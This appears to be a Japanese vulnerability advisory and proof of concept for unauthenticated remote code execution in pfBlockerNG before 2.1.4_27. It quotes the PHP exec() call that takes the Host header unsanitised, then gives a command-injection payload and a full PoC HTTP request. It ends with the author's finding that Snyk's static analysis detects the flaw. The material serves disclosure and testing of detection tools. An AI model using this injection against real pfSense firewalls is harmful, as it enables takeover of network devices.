
pfBlockerNgのDNSBL TLDクエリ関数における未サニタイズ入力による未認証リモートコード実行の概念実証エクスプロイト。SAST検出分析付き。
pfBlockerNG は、以下の機能を備えた pfBlocker の次世代版です。
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
pfBlockerNg <2.1.4_27
未認証のリモートコード実行 (RCE)
index.php の TLD ブロックセクションのクエリには、HEADER の Host ソースからのサニタイズ/エスケープされていないユーザー入力 d_query が PHP の exec 関数シンクに含まれています。
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
/pfblockerng/www/index.php
// Query for a TLD Block
if (empty($pfb_query)) {
$idparts = explode('.', $query);
$idcnt = (count($idparts) -1);
for ($i=1; $i <= $idcnt; $i++) {
$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
if (!empty($match[0])) {
$pfb_query = 'DNSBL_TLD';
break;
}
}
}
pfsense Web コンソールへの HTTP アクセスが必要です。
サンプルペイロード: ' *; sleep 5; '
POC リクエスト:
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2
私は pfBlockerNg が大好きで、Di r00t 氏による最近の CVE-2022-31814 と素晴らしい記事 https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ に触発され、Snyk 静的アプリケーションセキュリティテスト (SAST) ツールがこの脆弱性を検出できるかどうか気になりました。そこで、対応する index.php バージョン 2.1.4_26 ファイルをダウンロードし、Snyk Code で実行しました。案の定、Snyk はこの脆弱性と、ほんの数行後にもう 1 つの類似のレポートを検出しました。